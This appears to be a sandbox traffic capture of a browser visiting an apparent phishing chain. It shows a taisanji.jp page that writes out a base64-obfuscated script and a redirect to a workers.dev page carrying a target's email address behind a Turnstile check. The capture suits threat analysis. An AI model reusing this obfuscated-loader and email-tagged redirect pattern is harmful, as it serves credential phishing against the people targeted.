2024-04-25 18:36:27 UTC	1369	IN	Data Raw: 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 2c 73 3d 74 2e 73 6c 69 63 65 2c 67 3d 74 2e 63 6f 6e 63 61 74 2c 75 3d 74 2e 70 75 73 68 2c 69 3d 74 2e 69 6e 64 65 78 4f 66 2c 6e 3d 7b 7d 2c 6f 3d 6e 2e 74 6f 53 74 72 69 6e 67 2c 76 3d 6e 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 61 3d 76 2e 74 6f 53 74 72 69 6e 67 2c 6c 3d 61 2e 63 61 6c 6c 28 4f 62 6a 65 63 74 29 2c 79 3d 7b 7d 2c 6d 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 22 6e 75 6d 62 65 72 22 21 3d 74 79 70 65 6f 66 20 65 2e 6e 6f 64 65 54 79 70 65 7d 2c 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 65 26 26 65 3d 3d 3d 65 2e 77 69 6e 64 6f 77 7d 2c 63 3d 7b 74 79 Data Ascii: bject.getPrototypeOf,s=t.slice,g=t.concat,u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},c={ty
2024-04-25 18:36:27 UTC	1369	IN	Data Raw: 6e 67 74 68 2c 6e 3d 2b 65 2b 28 65 3c 30 3f 74 3a 30 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 30 3c 3d 6e 26 26 6e 3c 74 3f 5b 74 68 69 73 5b 6e 5d 5d 3a 5b 5d 29 7d 2c 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 72 65 76 4f 62 6a 65 63 74 7c 7c 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7d 2c 70 75 73 68 3a 75 2c 73 6f 72 74 3a 74 2e 73 6f 72 74 2c 73 70 6c 69 63 65 3a 74 2e 73 70 6c 69 63 65 7d 2c 6b 2e 65 78 74 65 6e 64 3d 6b 2e 66 6e 2e 65 78 74 65 6e 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 2c 74 2c 6e 2c 72 2c 69 2c 6f 2c 61 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 7c 7c 7b 7d 2c 73 3d 31 2c 75 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 6c 3d 21 Data Ascii: ngth,n=+e+(e<0?t:0);return this.pushStack(0<=n&&n<t?[this[n]]:[])},end:function(){return this.prevObject\|\|this.constructor()},push:u,sort:t.sort,splice:t.splice},k.extend=k.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]\|\|{},s=1,u=arguments.length,l=!
2024-04-25 18:36:27 UTC	1369	IN	Data Raw: 74 2c 6e 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 74 3f 2d 31 3a 69 2e 63 61 6c 6c 28 74 2c 65 2c 6e 29 7d 2c 6d 65 72 67 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 2b 74 2e 6c 65 6e 67 74 68 2c 72 3d 30 2c 69 3d 65 2e 6c 65 6e 67 74 68 3b 72 3c 6e 3b 72 2b 2b 29 65 5b 69 2b 2b 5d 3d 74 5b 72 5d 3b 72 65 74 75 72 6e 20 65 2e 6c 65 6e 67 74 68 3d 69 2c 65 7d 2c 67 72 65 70 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 66 6f 72 28 76 61 72 20 72 3d 5b 5d 2c 69 3d 30 2c 6f 3d 65 2e 6c 65 6e 67 74 68 2c 61 3d 21 6e 3b 69 3c 6f 3b 69 2b 2b 29 21 74 28 65 5b 69 5d 2c 69 29 21 3d 3d 61 26 26 72 2e 70 75 73 68 28 65 5b 69 5d 29 3b 72 65 74 75 72 6e 20 72 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b Data Ascii: t,n){return null==t?-1:i.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r=[],i=0,o=e.length,a=!n;i<o;i++)!t(e[i],i)!==a&&r.push(e[i]);return r},map:function(e,t,n){
2024-04-25 18:36:27 UTC	1369	IN	Data Raw: 6e 65 77 20 52 65 67 45 78 70 28 4d 2b 22 2b 22 2c 22 67 22 29 2c 42 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 2b 22 2b 7c 28 28 3f 3a 5e 7c 5b 5e 5c 5c 5c 5c 5d 29 28 3f 3a 5c 5c 5c 5c 2e 29 2a 29 22 2b 4d 2b 22 2b 24 22 2c 22 67 22 29 2c 5f 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 2b 22 2a 2c 22 2b 4d 2b 22 2a 22 29 2c 7a 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 2b 22 2a 28 5b 3e 2b 7e 5d 7c 22 2b 4d 2b 22 29 22 2b 4d 2b 22 2a 22 29 2c 55 3d 6e 65 77 20 52 65 67 45 78 70 28 4d 2b 22 7c 3e 22 29 2c 58 3d 6e 65 77 20 52 65 67 45 78 70 28 24 29 2c 56 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 49 2b 22 24 22 29 2c 47 3d 7b 49 44 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 23 28 22 2b 49 2b 22 29 22 29 2c 43 4c 41 53 53 3a 6e Data Ascii: new RegExp(M+"+","g"),B=new RegExp("^"+M+"+\|((?:^\|[^\\\\])(?:\\\\.))"+M+"+$","g"),_=new RegExp("^"+M+","+M+""),z=new RegExp("^"+M+"([>+~]\|"+M+")"+M+"*"),U=new RegExp(M+"\|>"),X=new RegExp($),V=new RegExp("^"+I+"$"),G={ID:new RegExp("^#("+I+")"),CLASS:n
2024-04-25 18:36:27 UTC	1369	IN	Data Raw: 64 65 73 2e 6c 65 6e 67 74 68 5d 2e 6e 6f 64 65 54 79 70 65 7d 63 61 74 63 68 28 65 29 7b 48 3d 7b 61 70 70 6c 79 3a 74 2e 6c 65 6e 67 74 68 3f 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 4c 2e 61 70 70 6c 79 28 65 2c 4f 2e 63 61 6c 6c 28 74 29 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 65 2e 6c 65 6e 67 74 68 2c 72 3d 30 3b 77 68 69 6c 65 28 65 5b 6e 2b 2b 5d 3d 74 5b 72 2b 2b 5d 29 3b 65 2e 6c 65 6e 67 74 68 3d 6e 2d 31 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 73 65 28 74 2c 65 2c 6e 2c 72 29 7b 76 61 72 20 69 2c 6f 2c 61 2c 73 2c 75 2c 6c 2c 63 2c 66 3d 65 26 26 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2c 70 3d 65 3f 65 2e 6e 6f 64 65 54 79 70 65 3a 39 3b 69 66 28 6e 3d 6e 7c 7c 5b 5d 2c 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 Data Ascii: des.length].nodeType}catch(e){H={apply:t.length?function(e,t){L.apply(e,O.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function se(t,e,n,r){var i,o,a,s,u,l,c,f=e&&e.ownerDocument,p=e?e.nodeType:9;if(n=n\|\|[],"string"!=type
2024-04-25 18:36:27 UTC	1369	IN	Data Raw: 72 65 6e 74 4e 6f 64 65 26 26 74 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 29 2c 74 3d 6e 75 6c 6c 7d 7d 66 75 6e 63 74 69 6f 6e 20 66 65 28 65 2c 74 29 7b 76 61 72 20 6e 3d 65 2e 73 70 6c 69 74 28 22 7c 22 29 2c 72 3d 6e 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 72 2d 2d 29 62 2e 61 74 74 72 48 61 6e 64 6c 65 5b 6e 5b 72 5d 5d 3d 74 7d 66 75 6e 63 74 69 6f 6e 20 70 65 28 65 2c 74 29 7b 76 61 72 20 6e 3d 74 26 26 65 2c 72 3d 6e 26 26 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 26 26 31 3d 3d 3d 74 2e 6e 6f 64 65 54 79 70 65 26 26 65 2e 73 6f 75 72 63 65 49 6e 64 65 78 2d 74 2e 73 6f 75 72 63 65 49 6e 64 65 78 3b 69 66 28 72 29 72 65 74 75 72 6e 20 72 3b 69 66 28 6e 29 77 68 69 6c 65 28 6e 3d 6e 2e 6e 65 78 74 53 69 62 6c 69 Data Ascii: rentNode&&t.parentNode.removeChild(t),t=null}}function fe(e,t){var n=e.split("\|"),r=n.length;while(r--)b.attrHandle[n[r]]=t}function pe(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)while(n=n.nextSibli
2024-04-25 18:36:27 UTC	1369	IN	Data Raw: 28 22 6f 6e 75 6e 6c 6f 61 64 22 2c 6f 65 29 29 2c 64 2e 61 74 74 72 69 62 75 74 65 73 3d 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 63 6c 61 73 73 4e 61 6d 65 3d 22 69 22 2c 21 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 63 6c 61 73 73 4e 61 6d 65 22 29 7d 29 2c 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 3d 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 43 2e 63 72 65 61 74 65 43 6f 6d 6d 65 6e 74 28 22 22 29 29 2c 21 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 2a 22 29 2e 6c 65 6e 67 74 68 7d 29 2c 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 3d 4b 2e 74 65 73 74 28 43 2e 67 65 74 45 Data Ascii: ("onunload",oe)),d.attributes=ce(function(e){return e.className="i",!e.getAttribute("className")}),d.getElementsByTagName=ce(function(e){return e.appendChild(C.createComment("")),!e.getElementsByTagName("*").length}),d.getElementsByClassName=K.test(C.getE
2024-04-25 18:36:27 UTC	1369	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 26 26 45 29 72 65 74 75 72 6e 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 65 29 7d 2c 73 3d 5b 5d 2c 76 3d 5b 5d 2c 28 64 2e 71 73 61 3d 4b 2e 74 65 73 74 28 43 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 29 29 26 26 28 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 69 64 3d 27 22 2b 6b 2b 22 27 3e 3c 2f 61 3e 3c 73 65 6c 65 63 74 20 69 64 3d 27 22 2b 6b 2b 22 2d 5c 72 5c 5c 27 20 6d 73 61 6c 6c 6f 77 63 61 70 74 75 72 65 3d 27 27 3e 3c 6f 70 74 Data Ascii: function(e,t){if("undefined"!=typeof t.getElementsByClassName&&E)return t.getElementsByClassName(e)},s=[],v=[],(d.qsa=K.test(C.querySelectorAll))&&(ce(function(e){a.appendChild(e).innerHTML="<a id='"+k+"'></a><select id='"+k+"-\r\\' msallowcapture=''><opt
2024-04-25 18:36:27 UTC	1369	IN	Data Raw: 52 65 67 45 78 70 28 76 2e 6a 6f 69 6e 28 22 7c 22 29 29 2c 73 3d 73 2e 6c 65 6e 67 74 68 26 26 6e 65 77 20 52 65 67 45 78 70 28 73 2e 6a 6f 69 6e 28 22 7c 22 29 29 2c 74 3d 4b 2e 74 65 73 74 28 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 29 2c 79 3d 74 7c 7c 4b 2e 74 65 73 74 28 61 2e 63 6f 6e 74 61 69 6e 73 29 3f 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 3f 65 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 3a 65 2c 72 3d 74 26 26 74 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 72 65 74 75 72 6e 20 65 3d 3d 3d 72 7c 7c 21 28 21 72 7c 7c 31 21 3d 3d 72 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 28 6e 2e 63 6f 6e 74 61 69 6e 73 3f 6e 2e 63 6f 6e 74 61 69 6e 73 28 72 29 3a 65 2e 63 Data Ascii: RegExp(v.join("\|")),s=s.length&&new RegExp(s.join("\|")),t=K.test(a.compareDocumentPosition),y=t\|\|K.test(a.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r\|\|!(!r\|\|1!==r.nodeType\|\|!(n.contains?n.contains(r):e.c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49716	23.201.212.130	443

Timestamp	Bytes transferred	Direction	Data
2024-04-25 18:36:27 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-25 18:36:27 UTC	531	IN	HTTP/1.1 200 OK Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Content-Type: application/octet-stream ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0rcGnYgAAAAANOnx9vccHTr21ROgX9ESTU0pDRURHRTAzMDkAY2VmYzI1ODMtYTliMi00NGE3LTk3NTUtYjc2ZDE3ZTA1Zjdm Cache-Control: public, max-age=131209 Date: Thu, 25 Apr 2024 18:36:27 GMT Content-Length: 55 Connection: close X-CID: 2
2024-04-25 18:36:27 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49718	120.136.10.95	443	5428	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 18:36:27 UTC	615	OUT	GET /197006108922/ HTTP/1.1 Host: taisanji.jp Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://taisanji.jp/197006108922/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=beceeed944e116c0f1ce457b161cfb28
2024-04-25 18:36:28 UTC	291	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 25 Apr 2024 18:36:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache
2024-04-25 18:36:28 UTC	2372	IN	Data Raw: 39 33 38 0d 0a 3c 68 74 6d 6c 3e 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 72 31 42 65 4e 41 58 77 7a 39 6e 72 6b 30 69 36 42 68 6e 34 72 54 54 65 59 62 30 34 43 37 67 35 32 59 56 75 55 31 65 6a 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0d 0a 20 20 20 20 3c 62 6f 64 79 3e 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 61 74 6f 62 28 22 50 48 4e 6a 63 6d 6c 77 64 44 34 4b 49 43 41 67 49 43 38 76 49 47 52 70 63 32 46 69 62 47 55 67 63 6d 6c 6e 61 48 51 67 59 32 78 70 59 32 73 4b 49 43 41 67 49 47 52 76 59 33 56 74 5a 57 35 30 4c 6d 46 6b 5a 45 56 32 5a 57 35 30 54 47 6c 7a 64 47 56 75 5a 58 49 6f 4a 32 4e 76 62 6e 52 6c 65 48 52 74 5a 57 35 31 4a 79 77 67 5a Data Ascii: 938<html> <head> <title>r1BeNAXwz9nrk0i6Bhn4rTTeYb04C7g52YVuU1ej</title> </head> <body><script>document.write(atob("PHNjcmlwdD4KICAgIC8vIGRpc2FibGUgcmlnaHQgY2xpY2sKICAgIGRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ2NvbnRleHRtZW51JywgZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49717	120.136.10.95	443	5428	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 18:36:27 UTC	643	OUT	GET /favicon.ico HTTP/1.1 Host: taisanji.jp Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://taisanji.jp/197006108922/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=beceeed944e116c0f1ce457b161cfb28
2024-04-25 18:36:28 UTC	240	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Apr 2024 18:36:28 GMT Content-Type: text/html Content-Length: 2814 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 02 Jul 2018 00:29:39 GMT ETag: "afe-56ff94b0199fc"
2024-04-25 18:36:28 UTC	2814	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 45 55 43 2d 4a 50 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 46 69 6c 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 58 53 45 52 56 45 52 20 49 6e 63 2e 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 49 4e 44 45 58 2c 46 4f 4c 4c 4f 57 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e Data Ascii: <!DOCTYPE html><html lang="ja"><head><meta charset="EUC-JP" /><title>404 File Not Found</title><meta name="copyright" content="Copyright XSERVER Inc."><meta name="robots" content="INDEX,FOLLOW" /><meta name="viewport" content="width=device-width,in

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49720	172.67.154.14	443	5428	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 18:36:29 UTC	730	OUT	GET /?qrc=sheue@7haircare.com& HTTP/1.1 Host: e76abede.df1076c6f7230d3c23de9bcb.workers.dev Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://taisanji.jp/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 18:36:29 UTC	579	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 18:36:29 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 3255 Connection: close Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kqfrX1Y4NnKTZCxysdlHaascsSKl0Ityvc7rUKb%2FY0LVkTzDlvww1RHPRAQRm66R2yOhJrcKSTVwyBVylW71aIKJ2vQe0z3mEwFhRtG1bVL58jD1E8unFjzM630%2BxhkIivHhfQad8hHRnvarRuRmyTv0mLjUOZMKT3pdqDp6ULk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87a0705a6a9253c3-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 18:36:29 UTC	790	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 2d 55 53 3e 3c 68 65 61 64 3e 20 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 64 65 66 65 72 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 74 75 72 6e 73 74 69 6c 65 2f 76 30 2f 61 70 69 2e 6a 73 3f 6f 6e 6c 6f 61 64 3d 6f 6e 6c 6f 61 64 54 75 72 6e 73 74 69 6c 65 43 61 6c 6c 62 61 63 6b 22 3e 3c 2f 73 63 72 69 70 74 3e 20 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 Data Ascii: <!doctype html><html lang=en-US><head> <script async defer src="https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback"></script> <title>Just a moment...</title> <meta content="width=device-width,initial-scale=1" name=viewpor
2024-04-25 18:36:29 UTC	1369	IN	Data Raw: 2c 52 6f 62 6f 74 6f 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 41 72 69 61 6c 2c 4e 6f 74 6f 20 53 61 6e 73 2c 73 61 6e 73 2d 73 65 72 69 66 2c 41 70 70 6c 65 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 2c 53 65 67 6f 65 20 55 49 20 45 6d 6f 6a 69 2c 53 65 67 6f 65 20 55 49 20 53 79 6d 62 6f 6c 2c 4e 6f 74 6f 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 7d 62 6f 64 79 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 76 68 7d 61 7b 74 72 61 6e 73 69 74 69 6f 6e 3a 63 6f 6c 6f 72 20 2e 31 35 73 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 63 6f 6c 6f 72 3a 23 30 Data Ascii: ,Roboto,Helvetica Neue,Arial,Noto Sans,sans-serif,Apple Color Emoji,Segoe UI Emoji,Segoe UI Symbol,Noto Color Emoji}body{display:flex;flex-direction:column;min-height:100vh}a{transition:color .15s;background-color:transparent;text-decoration:none;color:#0
2024-04-25 18:36:29 UTC	1096	IN	Data Raw: 3a 31 72 65 6d 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 6c 64 73 2d 72 69 6e 67 7b 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 29 7d 74 6f 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 33 36 30 64 65 67 29 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 3a 61 63 74 69 76 65 29 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 3a 6e 6f 6e 65 29 7b 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 7d 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 32 32 32 Data Ascii: :1rem}}@keyframes lds-ring{0%{transform:rotate(0)}to{transform:rotate(360deg)}}@media screen and (-ms-high-contrast:active),screen and (-ms-high-contrast:none){.main-wrapper,body{display:block}}@media (prefers-color-scheme:dark){body{background-color:#222

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49722	104.17.3.184	443	5428	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 18:36:30 UTC	604	OUT	GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://e76abede.df1076c6f7230d3c23de9bcb.workers.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 18:36:30 UTC	367	IN	HTTP/1.1 302 Found Date: Thu, 25 Apr 2024 18:36:30 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, public location: /turnstile/v0/b/471dc2adc340/api.js?onload=onloadTurnstileCallback cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 87a070617f181d78-ATL alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49721	120.136.10.95	443	5428	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
